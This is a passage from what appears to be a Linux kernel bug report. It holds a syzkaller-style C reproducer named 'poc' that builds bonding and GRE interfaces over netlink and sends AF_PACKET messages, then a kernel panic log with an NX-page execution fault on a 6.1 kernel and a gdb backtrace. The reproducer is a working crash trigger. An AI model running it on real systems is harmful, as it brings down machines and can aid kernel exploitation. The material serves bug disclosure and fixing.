FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, umount_flags)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_loop() { setup_cgroups_loop(); } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setup_cgroups_test(); write_file("/proc/self/oom_score_adj", "1000"); flush_tun(); if (symlink("/dev/binderfs", "./binderfs")) { } } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } static void setup_sysctl() { int cad_pid = fork(); if (cad_pid < 0) exit(1); if (cad_pid == 0) { for (;;) sleep(100); } char tmppid[32]; snprintf(tmppid, sizeof(tmppid), "%d", cad_pid); struct { const char* name; const char* data; } files[] = { {"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"}, {"/proc/sys/kernel/hung_task_check_interval_secs", "20"}, {"/proc/sys/net/core/bpf_jit_kallsyms", "1"}, {"/proc/sys/net/core/bpf_jit_harden", "0"}, {"/proc/sys/kernel/kptr_restrict", "0"}, {"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"}, {"/proc/sys/fs/mount-max", "100"}, {"/proc/sys/vm/oom_dump_tasks", "0"}, {"/proc/sys/debug/exception-trace", "0"}, {"/proc/sys/kernel/printk", "7 4 1 3"}, {"/proc/sys/kernel/keys/gc_delay", "1"}, {"/proc/sys/vm/oom_kill_allocating_task", "1"}, {"/proc/sys/kernel/ctrl-alt-del", "0"}, {"/proc/sys/kernel/cad_pid", tmppid}, }; for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) { if (!write_file(files[i].name, files[i].data)) { } } kill(cad_pid, SIGKILL); while (waitpid(cad_pid, NULL, 0) != cad_pid) ; } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } int i, call, thread; for (call = 0; call < 21; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); event_timedwait(&th->done, 50); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); close_fds(); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { setup_loop(); int iter = 0; for (; iter < 3; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { if (chdir(cwdbuf)) exit(1); setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { sleep_ms(10); if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; if (current_time_ms() - start < 5000) continue; kill_and_wait(pid, &status); break; } remove_dir(cwdbuf); } } uint64_t r[9] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0x0, 0xffffffffffffffff, 0x0, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: NONFAILING(*(uint64_t*)0x20000080 = 0); NONFAILING(*(uint32_t*)0x20000088 = 0x11); NONFAILING(*(uint32_t*)0x2000008c = 0); NONFAILING(*(uint64_t*)0x20000090 = 0); NONFAILING(*(uint64_t*)0x20000098 = 0); syscall(__NR_timer_create, /*id=*/0ul, /*ev=*/0x20000080ul, /*timerid=*/0x20000000ul); break; case 1: res = syscall(__NR_socket, /*domain=*/2ul, /*type=SOCK_DGRAM*/ 2ul, /*proto=*/0); if (res != -1) r[0] = res; break; case 2: res = syscall(__NR_socket, /*domain=AF_PACKET|0x200000000000000*/ 0x200000000000011ul, /*type=SOCK_CLOEXEC|SOCK_DGRAM|0x4000000000000000*/ 0x4000000000080002ul, /*proto=*/0); if (res != -1) r[1] = res; break; case 3: res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); if (res != -1) r[2] = res; break; case 4: res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); if (res != -1) r[3] = res; break; case 5: res = syscall(__NR_socket, /*domain=AF_NETLINK*/ 0x10ul, /*type=SOCK_NONBLOCK|SOCK_RAW*/ 0x803ul, /*proto=*/0); if (res != -1) r[4] = res; break; case 6: NONFAILING(*(uint64_t*)0x20000580 = 0); NONFAILING(*(uint32_t*)0x20000588 = 0); NONFAILING(*(uint64_t*)0x20000590 = 0x20000540); NONFAILING(*(uint64_t*)0x20000540 = 0); NONFAILING(*(uint64_t*)0x20000548 = 0x1c); NONFAILING(*(uint64_t*)0x20000598 = 1); NONFAILING(*(uint64_t*)0x200005a0 = 0); NONFAILING(*(uint64_t*)0x200005a8 = 0); NONFAILING(*(uint32_t*)0x200005b0 = 0); syscall(__NR_sendmsg, /*fd=*/r[4], /*msg=*/0x20000580ul, /*f=*/0ul); break; case 7: NONFAILING(*(uint32_t*)0x20000080 = 0x14); res = syscall(__NR_getsockname, /*fd=*/r[4], /*addr=*/0x20000600ul, /*addrlen=*/0x20000080ul); if (res != -1) NONFAILING(r[5] = *(uint32_t*)0x20000604); break; case 8: res = syscall(__NR_socket, /*domain=*/1ul, /*type=SOCK_DGRAM*/ 2ul, /*proto=*/0); if (res != -1) r[6] = res; break; case 9: NONFAILING(*(uint32_t*)0x20000040 = 0xc); res = syscall(__NR_getsockopt, /*fd=*/r[6], /*level=*/1, /*optname=*/0x11, /*optval=*/0x20caaffbul, /*optlen=*/0x20000040ul); if (res != -1) NONFAILING(r[7] = *(uint32_t*)0x20caafff); break; case 10: syscall(__NR_setresuid, /*ruid=*/0, /*euid=*/r[7], /*suid=*/r[7]); break; case 11: NONFAILING(*(uint8_t*)0x20000640 = 0xfe); NONFAILING(*(uint8_t*)0x20000641 = 0x80); NONFAILING(memset((void*)0x20000642, 0, 13)); NONFAILING(*(uint8_t*)0x2000064f = 0x3a); NONFAILING(*(uint8_t*)0x20000650 = 0xac); NONFAILING(*(uint8_t*)0x20000651 = 0x1e); NONFAILING(*(uint8_t*)0x20000652 = 1); NONFAILING(*(uint8_t*)0x20000653 = 1); NONFAILING(*(uint16_t*)0x20000660 = htobe16(0x4e21)); NONFAILING(*(uint16_t*)0x20000662 = htobe16(0xc2)); NONFAILING(*(uint16_t*)0x20000664 = htobe16(0x4e21)); NONFAILING(*(uint16_t*)0x20000666 = htobe16(2)); NONFAILING(*(uint16_t*)0x20000668 = 2); NONFAILING(*(uint8_t*)0x2000066a = 0x30); NONFAILING(*(uint8_t*)0x2000066b = 0); NONFAILING(*(uint8_t*)0x2000066c = 0x3a); NONFAILING(*(uint32_t*)0x20000670 = r[5]); NONFAILING(*(uint32_t*)0x20000674 = r[7]); NONFAILING(*(uint64_t*)0x20000678 = 6); NONFAILING(*(uint64_t*)0x20000680 = 5); NONFAILING(*(uint64_t*)0x20000688 = 1); NONFAILING(*(uint64_t*)0x20000690 = 0xd4); NONFAILING(*(uint64_t*)0x20000698 = 0xe000000000); NONFAILING(*(uint64_t*)0x200006a0 = 6); NONFAILING(*(uint64_t*)0x200006a8 = 0x6eaf); NONFAILING(*(uint64_t*)0x200006b0 = 0x81); NONFAILING(*(uint64_t*)0x200006b8 = 0xcd); NONFAILING(*(uint64_t*)0x200006c0 = 0xee); NONFAILING(*(uint64_t*)0x200006c8 = 0x800); NONFAILING(*(uint64_t*)0x200006d0 = 5); NONFAILING(*(uint32_t*)0x200006d8 = 4); NONFAILING(*(uint32_t*)0x200006dc = 0x6e6bb6); NONFAILING(*(uint8_t*)0x200006e0 = 1); NONFAILING(*(uint8_t*)0x200006e1 = 0); NONFAILING(*(uint8_t*)0x200006e2 = 0); NONFAILING(*(uint8_t*)0x200006e3 = 0); NONFAILING(*(uint8_t*)0x200006e8 = 0xac); NONFAILING(*(uint8_t*)0x200006e9 = 0x14); NONFAILING(*(uint8_t*)0x200006ea = 0x14); NONFAILING(*(uint8_t*)0x200006eb = 0x14); NONFAILING(*(uint32_t*)0x200006f8 = htobe32(0x4d3)); NONFAILING(*(uint8_t*)0x200006fc = 0x6c); NONFAILING(*(uint16_t*)0x20000700 = 8); NONFAILING(*(uint8_t*)0x20000704 = -1); NONFAILING(*(uint8_t*)0x20000705 = 1); NONFAILING(memset((void*)0x20000706, 0, 13)); NONFAILING(*(uint8_t*)0x20000713 = 1); NONFAILING(*(uint32_t*)0x20000714 = 0x3504); NONFAILING(*(uint8_t*)0x20000718 = 0); NONFAILING(*(uint8_t*)0x20000719 = 0); NONFAILING(*(uint8_t*)0x2000071a = 0x80); NONFAILING(*(uint32_t*)0x2000071c = 3); NONFAILING(*(uint32_t*)0x20000720 = 4); NONFAILING(*(uint32_t*)0x20000724 = 0); syscall(__NR_setsockopt, /*fd=*/r[0], /*level=*/0, /*optname=*/0x11, /*optval=*/0x20000640ul, /*optlen=*/0xe8ul); break; case 12: NONFAILING(*(uint64_t*)0x20000040 = 0); NONFAILING(*(uint32_t*)0x20000048 = 0); NONFAILING(*(uint64_t*)0x20000050 = 0x20000000); NONFAILING(*(uint64_t*)0x20000000 = 0x20000340); NONFAILING(memcpy((void*)0x20000340, "\x3c\x00\x00\x00\x10\x00\x85\x06\x00\x00\x20\x00\xfe\x61" "\x22\x33\xca\x00\x08\x00", 20)); NONFAILING(*(uint32_t*)0x20000354 = r[5]); NONFAILING(memcpy( (void*)0x20000358, "\x23\x77\xf2\x9e\x25\x21\x55\xb2\x1c\x00\x12\x00\x0c\x00\x01\x00\x62" "\x6f\x6e\x64\x00\x00\x00\x00\x0c\x00\x02\x00\x08\x00\x01\x00\x01\x34" "\xe7\x30\x70\x75\xa7\xcc\x6d\x2d\xba\x6e\x4d\xce\x25\xf1\x89\x68\xdd" "\x3d\x6f\x77\x19\x9c\xd0\x6d\x7a\x4c\xfc\xdc\x99\xdc\xfd\x5e\xc3\xf3" "\xe3\xd9\x8b\xe8\xa8\xba\xc2\xdc\xc4\x14\xb5\x8d\xda\x48\xb3\xea\x35" "\x41\x1d\x5b\x11\x2c\x26\xf3\x1b\x35\x29\x82\xf5\x5b\xe4\x46\xb3\xdd" "\x47\xe4\x35\x95\x42\x52\x21\x38\x28\xba\x98\xa1\xbc\x36\x32\x78\xf8" "\xbd\x13\xad\x74\x6b\xb8\xed\xad\x61\x91\x62\xf5\xd1\x89\x2e\x9f\xa4" "\x2e\x4f\xe2\xb6\x0f\x5f\xe2\xbb\x96\x3f\x08\xd6\x69\x68\x20\xad\xe9" "\xcf\xf2\xb2\xde\xb9\x1c\xe5\x65\x71\x68\xa9\x0d\xc5\x23\x0e\x33\xb8" "\xc2\x6c\xd9\x25\xc3\x13\x66\xa2\xae\x33\x9f\x12\xba\x89\x66\xbe\x14" "\x39\xce\xc6\x35\xb0\x8c\x0a\x97\x49\x0b\x13\x3a\x5b\x73\x60\xb5\x93" "\x47\x83\x3f\xc9\x5a\x7b\xf3\xdc\x9b\xc6\x47\x41\xde\x1a\x6e\x83\xc9" "\xbd\xfd\xfd\x0b\xaa\xbe\xc9\x81\x09\x9b\xb3\xdb\xd6\x4a\x7e\x79\x79" "\xcf\xb7\x93\x5a\xff\xbc\xda\x49\x19\x0b\x7e\xc9\xbc\x1e\x89\xd6\xcc" "\xed\xec\x20\xf9\x1b\x57\x1e\x6f\xc0\x49\xba\x82\x82\x1b\x26\xca\x4f" "\x85\xf4\xb0\x3f\x70\xb1\x76\xb4\x3d\xe9\x15\xbe\xc7\x6e\x40\x5b\xce" "\x49\xa4\xb4\x6e\xc7\x45\xb5\x1f\x36\x28\x29\x16\xb7\x7d\x7f\x91\x3a" "\x6a\xfd\x68\x13\xdf\x2c", 312)); NONFAILING(*(uint64_t*)0x20000008 = 0x3c); NONFAILING(*(uint64_t*)0x20000058 = 1); NONFAILING(*(uint64_t*)0x20000060 = 0); NONFAILING(*(uint64_t*)0x20000068 = 0); NONFAILING(*(uint32_t*)0x20000070 = 0); syscall(__NR_sendmsg, /*fd=*/r[3], /*msg=*/0x20000040ul, /*f=*/0ul); break; case 13: NONFAILING(*(uint64_t*)0x20000240 = 0); NONFAILING(*(uint32_t*)0x20000248 = 0); NONFAILING(*(uint64_t*)0x20000250 = 0x20000180); NONFAILING(*(uint64_t*)0x20000180 = 0x20000780); NONFAILING(*(uint32_t*)0x20000780 = 0x58); NONFAILING(*(uint16_t*)0x20000784 = 0x10); NONFAILING(*(uint16_t*)0x20000786 = 0xff1f); NONFAILING(*(uint32_t*)0x20000788 = 0); NONFAILING(*(uint32_t*)0x2000078c = 0); NONFAILING(*(uint8_t*)0x20000790 = 0); NONFAILING(*(uint8_t*)0x20000791 = 0); NONFAILING(*(uint16_t*)0x20000792 = 0); NONFAILING(*(uint32_t*)0x20000794 = 0); NONFAILING(*(uint32_t*)0x20000798 = 0x800); NONFAILING(*(uint32_t*)0x2000079c = 0); NONFAILING(*(uint16_t*)0x200007a0 = 0x28); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a2, 0x12, 0, 14)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a3, 0, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a3, 1, 7, 1)); NONFAILING(*(uint16_t*)0x200007a4 = 8); NONFAILING(*(uint16_t*)0x200007a6 = 1); NONFAILING(memcpy((void*)0x200007a8, "gre\000", 4)); NONFAILING(*(uint16_t*)0x200007ac = 0x1c); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007ae, 2, 0, 14)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007af, 0, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007af, 1, 7, 1)); NONFAILING(*(uint16_t*)0x200007b0 = 8); NONFAILING(*(uint16_t*)0x200007b2 = 6); NONFAILING(*(uint32_t*)0x200007b4 = htobe32(-1)); NONFAILING(*(uint16_t*)0x200007b8 = 5); NONFAILING(*(uint16_t*)0x200007ba = 9); NONFAILING(*(uint8_t*)0x200007bc = 8); NONFAILING(*(uint16_t*)0x200007c0 = 8); NONFAILING(*(uint16_t*)0x200007c2 = 5); NONFAILING(*(uint32_t*)0x200007c4 = 8); NONFAILING(*(uint16_t*)0x200007c8 = 8); NONFAILING(*(uint16_t*)0x200007ca = 0xa); NONFAILING(*(uint32_t*)0x200007cc = r[5]); NONFAILING(*(uint16_t*)0x200007d0 = 8); NONFAILING(*(uint16_t*)0x200007d2 = 0x1b); NONFAILING(*(uint32_t*)0x200007d4 = 0x8000); NONFAILING(*(uint64_t*)0x20000188 = 0x58); NONFAILING(*(uint64_t*)0x20000258 = 1); NONFAILING(*(uint64_t*)0x20000260 = 0); NONFAILING(*(uint64_t*)0x20000268 = 0); NONFAILING(*(uint32_t*)0x20000270 = 0); syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x20000240ul, /*f=MSG_ZEROCOPY|MSG_NOSIGNAL*/ 0x4004000ul); break; case 14: NONFAILING(*(uint16_t*)0x200000c0 = 0x11); NONFAILING(*(uint16_t*)0x200000c2 = htobe16(0)); NONFAILING(*(uint32_t*)0x200000c4 = r[5]); NONFAILING(*(uint16_t*)0x200000c8 = 1); NONFAILING(*(uint8_t*)0x200000ca = 0); NONFAILING(*(uint8_t*)0x200000cb = 6); NONFAILING(memset((void*)0x200000cc, 170, 5)); NONFAILING(*(uint8_t*)0x200000d1 = 0xbb); NONFAILING(memset((void*)0x200000d2, 0, 2)); syscall(__NR_bind, /*fd=*/r[1], /*addr=*/0x200000c0ul, /*addrlen=*/0x14ul); break; case 15: NONFAILING(*(uint16_t*)0x20000040 = 1); NONFAILING(*(uint64_t*)0x20000048 = 0x20000000); NONFAILING(*(uint16_t*)0x20000000 = 8); NONFAILING(*(uint8_t*)0x20000002 = 0); NONFAILING(*(uint8_t*)0x20000003 = 0); NONFAILING(*(uint32_t*)0x20000004 = 0x7fff0000); syscall(__NR_seccomp, /*op=*/1ul, /*flags=SECCOMP_FILTER_FLAG_LOG_LISTENER*/ 0xaul, /*arg=*/0x20000040ul); break; case 16: res = syscall(__NR_socket, /*domain=*/2ul, /*type=SOCK_DGRAM*/ 2ul, /*proto=*/0); if (res != -1) r[8] = res; break; case 17: NONFAILING(*(uint32_t*)0x20000040 = 0x2c); syscall(__NR_getsockopt, /*fd=*/r[8], /*level=*/0, /*optname=*/0x53, /*optval=*/0x20000000ul, /*optlen=*/0x20000040ul); break; case 18: NONFAILING(*(uint64_t*)0x20000300 = 0); NONFAILING(*(uint32_t*)0x20000308 = 0); NONFAILING(*(uint64_t*)0x20000310 = 0x200002c0); NONFAILING(*(uint64_t*)0x200002c0 = 0); NONFAILING(*(uint64_t*)0x200002c8 = 0); NONFAILING(*(uint64_t*)0x20000318 = 1); NONFAILING(*(uint64_t*)0x20000320 = 0); NONFAILING(*(uint64_t*)0x20000328 = 0); NONFAILING(*(uint32_t*)0x20000330 = 0); syscall(__NR_sendmsg, /*fd=*/r[1], /*msg=*/0x20000300ul, /*f=*/0ul); break; case 19: NONFAILING(*(uint64_t*)0x2006b000 = 0); NONFAILING(*(uint64_t*)0x2006b008 = 8); NONFAILING(*(uint64_t*)0x2006b010 = 0); NONFAILING(*(uint64_t*)0x2006b018 = 9); syscall(__NR_timer_settime, /*timerid=*/0, /*flags=*/0ul, /*new=*/0x2006b000ul, /*old=*/0ul); break; case 20: syscall(__NR_mlock, /*addr=*/0x20ffb000ul, /*size=*/0x3000ul); break; } } int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); setup_sysctl(); setup_cgroups(); const char* reason; (void)reason; install_segv_handler(); use_temporary_dir(); do_sandbox_namespace(); return 0; } ``` ```c [ 4.038488] netlink: 'poc': attribute type 1 has an invalid length. [ 4.039228] device bond1 entered promiscuous mode [ 4.039575] 8021q: adding VLAN 0 to HW filter on device bond1 [ 4.040118] 8021q: adding VLAN 0 to HW filter on device bond1 [ 4.040546] bond1: (slave gre1): The slave device specified does not support setting the MAs [ 4.041419] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 4.042151] bond1: (slave gre1): making interface the new active one [ 4.042664] device gre1 entered promiscuous mode [ 4.043065] bond1: (slave gre1): Enslaving as an active interface with an up link [ 4.043676] IPv6: ADDRCONF(NETDEV_CHANGE): bond1: link becomes ready [ 4.044309] kernel tried to execute NX-protected page - exploit attempt? (uid: 0) [ 4.044886] BUG: unable to handle page fault for address: ffff888100000001 [ 4.045445] #PF: supervisor instruction fetch in kernel mode [ 4.045953] #PF: error_code(0x0011) - permissions violation [ 4.046362] PGD 4801067 P4D 4801067 PUD 4804067 PMD 80000001000001e3 [ 4.046929] Oops: 0011 [#1] PREEMPT SMP NOPTI [ 4.047321] CPU: 0 PID: 220 Comm: poc Not tainted 6.1.112+ #1 [ 4.047852] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/014 [ 4.048683] RIP: 0010:0xffff888100000001 [ 4.049046] Code: Unable to access opcode bytes at 0xffff8880ffffffd7. [ 4.049634] RSP: 0018:ffffc9000063b7f0 EFLAGS: 00010246 [ 4.050121] RAX: ffff888100000001 RBX: 0000000000000010 RCX: 0000000000000003 [ 4.050768] RDX: 0000000000000001 RSI: ffff88810600fce0 RDI: ffff8881061a5000 [ 4.051481] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 4.052038] R10: 00007ffffffff000 R11: 000000007ffff000 R12: ffff88810600fcc0 [ 4.052606] R13: ffff8881061a5000 R14: ffff888104e5f000 R15: 0000000000000000 [ 4.053171] FS: 00000000336cf480(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000 [ 4.053784] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4.054230] CR2: ffff8880ffffffd7 CR3: 0000000105ba8003 CR4: 0000000000370ef0 [ 4.054813] Call Trace: [ 4.055028] <TASK> [ 4.055210] ? __die+0x1f/0x70 [ 4.055497] ? page_fault_oops+0x17d/0x4b0 [ 4.055928] ? exc_page_fault+0x90/0x160 [ 4.056331] ? asm_exc_page_fault+0x22/0x30 [ 4.056766] ? skb_release_data+0x8e/0x180 [ 4.057186] ? kfree_skb_reason+0x46/0xd0 [ 4.057587] ? packet_sendmsg+0xa05/0x17a0 [ 4.058008] ? update_load_avg+0x77/0x710 [ 4.058452] ? __check_object_size+0x44/0x2c0 [ 4.058724] ? __sock_sendmsg+0x5c/0x70 [ 4.058977] ? ____sys_sendmsg+0x262/0x2a0 [ 4.059221] ? copy_msghdr_from_user+0x7d/0xc0 [ 4.059523] ? ___sys_sendmsg+0x9a/0xe0 [ 4.059813] ? __sys_sendmsg+0x76/0xc0 [ 4.060144] ? do_syscall_64+0x5e/0x90 [ 4.060454] ? __alloc_pages+0x192/0x380 [ 4.060770] ? preempt_count_add+0x47/0xa0 [ 4.061134] ? __vmap_pages_range_noflush+0x195/0x5a0 [ 4.061565] ? __vmalloc_node_range+0x4c8/0x910 [ 4.061937] ? free_unref_page_commit+0x76/0x170 [ 4.062347] ? _raw_spin_unlock+0x15/0x30 [ 4.062717] ? free_unref_page+0x191/0x1f0 [ 4.063031] ? __vunmap+0x2d8/0x330 [ 4.063328] ? ip_set_sockfn_get+0xee/0x2d0 [ 4.063739] ? _raw_spin_unlock+0x15/0x30 [ 4.064087] ? nf_getsockopt+0x52/0x80 [ 4.064426] ? ip_getsockopt+0x8f/0xc0 [ 4.064763] ? exit_to_user_mode_prepare+0x1a/0x150 [ 4.065194] ? syscall_exit_to_user_mode+0x27/0x40 [ 4.065622] ? __x64_sys_getsockopt+0x1b/0x30 [ 4.066007] ? do_syscall_64+0x6a/0x90 [ 4.066325] ? syscall_exit_to_user_mode+0x27/0x40 [ 4.066733] ? clear_bhb_loop+0x15/0x70 [ 4.067042] ? clear_bhb_loop+0x15/0x70 [ 4.067352] ? clear_bhb_loop+0x15/0x70 [ 4.067665] ? clear_bhb_loop+0x15/0x70 [ 4.067988] ? clear_bhb_loop+0x15/0x70 [ 4.068301] ? entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 4.068746] </TASK> [ 4.068945] Modules linked in: [ 4.069189] CR2: ffff888100000001 [ 4.069501] ---[ end trace 0000000000000000 ]--- [ 4.069874] RIP: 0010:0xffff888100000001 [ 4.070208] Code: Unable to access opcode bytes at 0xffff8880ffffffd7. [ 4.070801] RSP: 0018:ffffc9000063b7f0 EFLAGS: 00010246 [ 4.071247] RAX: ffff888100000001 RBX: 0000000000000010 RCX: 0000000000000003 [ 4.071856] RDX: 0000000000000001 RSI: ffff88810600fce0 RDI: ffff8881061a5000 [ 4.072580] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 4.073225] R10: 00007ffffffff000 R11: 000000007ffff000 R12: ffff88810600fcc0 [ 4.073947] R13: ffff8881061a5000 R14: ffff888104e5f000 R15: 0000000000000000 [ 4.074598] FS: 00000000336cf480(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000 [ 4.075312] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4.075836] CR2: ffff8880ffffffd7 CR3: 0000000105ba8003 CR4: 0000000000370ef0 [ 4.076476] Kernel panic - not syncing: Fatal exception [ 4.076853] Kernel Offset: disabled ``` ``` #0 alloc_netdev_mqs (sizeof_priv=0x5d0, name=0xffffc900007df9e8 "bond%d", name_assign_type=0x1, setup=0xffffffff81b6ff90 <bond_setup>, txqs=txqs@entry=0x10, rxqs=0x10) at net/core/dev.c:10661 #1 0xffffffff81ef1e46 in rtnl_create_link (net=0xffffffff845da700 <init_net>, ifname=ifname@entry=0xffffc900007df9e8 "bond%d", name_assign_type=<optimized out>, ops=ops@entry=0xffffffff83b86f00 <bond_link_ops>, tb=tb@entry=0xffff888106190000, extack=extack@entry=0xffffc900007dfb20) at net/core/rtnetlink.c:3263 #2 0xffffffff81ef6c12 in rtnl_newlink_create (extack=0xffffc900007dfb20, data=0xffff8881061901f0, tb=0xffff888106190000, ops=0xffffffff83b86f00 <bond_link_ops>, ifm=0xffff888106163c10, skb=0xffff8881060f4c00) at net/core/rtnetlink.c:3380 #3 __rtnl_newlink (skb=skb@entry=0xffff8881060f4c00, nlh=nlh@entry=0xffff888106163c00, tbs=tbs@entry=0xffff888106190000, extack=extack@entry=0xffffc900007dfb20) at net/core/rtnetlink.c:3610 #4 0xffffffff81ef6f13 in rtnl_newlink (skb=0xffff8881060f4c00, nlh=0xffff888106163c00, extack=0xffffc900007dfb20) at net/core/rtnetlink.c:3623 #5 0xffffffff81ef3a5b in rtnetlink_rcv_msg (skb=0xffff8881060f4c00, nlh=0xffff888106163c00, extack=0xffffc900007dfb20) at net/core/rtnetlink.c:6121 #6 0xffffffff81f79dbe in netlink_rcv_skb (skb=0xffff8881060f4c00, cb=0xffffffff81ef3910 <rtnetlink_rcv_msg>) at net/netlink/af_netlink.c:2508 #7 0xffffffff81f791d7 in netlink_unicast_kernel (ssk=0xffff88811c45eb40, skb=0xffff8881060f4c00, sk=0xffff8881002c1800) at net/netlink/af_netlink.c:1326 #8 netlink_unicast (ssk=ssk@entry=0xffff888106190800, skb=skb@entry=0xffff8881060f4c00, portid=portid@entry=0x0, nonblock=<optimized out>) at net/netlink/af_netlink.c:1352 #9 0xffffffff81f79570 in netlink_sendmsg (sock=<optimized out>, msg=0xffffc900007dfe58, len=<optimized out>) at net/netlink/af_netlink.c:1874 #10 0xffffffff81eb24bc in sock_sendmsg_nosec (msg=0xffffc900007dfe58, sock=0x5d0) at net/socket.c:718 #11 __sock_sendmsg (sock=0x5d0, msg=0xffffc900007dfe58) at net/socket.c:730 #12 0xffffffff81eb2832 in ____sys_sendmsg (sock=sock@entry=0xffff88810232cd00, msg_sys=msg_sys@entry=0xffffc900007dfe58, flags=<optimized out>, flags@entry=0x0, used_address=used_address@entry=0x0 <fixed_percpu_data>, allowed_msghdr_flags=allowed_msghdr_flags@entry=0x0) at net/socket.c:2514 #13 0xffffffff81eb5cfa in ___sys_sendmsg (sock=sock@entry=0xffff88810232cd00, msg=msg@entry=0x20000040, msg_sys=msg_sys@entry=0xffffc900007dfe58, flags=flags@entry=0x0, used_address=used_address@entry=0x0 <fixed_percpu_data>, allowed_msghdr_flags=allowed_msghdr_flags@entry=0x0) at net/socket.c:2568 #14 0xffffffff81eb5e06 in __sys_sendmsg (fd=<optimized out>, msg=0x20000040, flags=0x0, forbid_cmsg_compat=<optimized out>) at net/socket.c:2597 #15 0xffffffff822bd2de in do_syscall_x64 (nr=<optimized out>, regs=0xffffc900007dff58) at arch/x86/entry/common.c:51 #16 do_syscall_64 (regs=0xffffc900007dff58, nr=<optimized out>) at arch/x86/entry/common.c:81 #17 0xffffffff82400126 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121 ```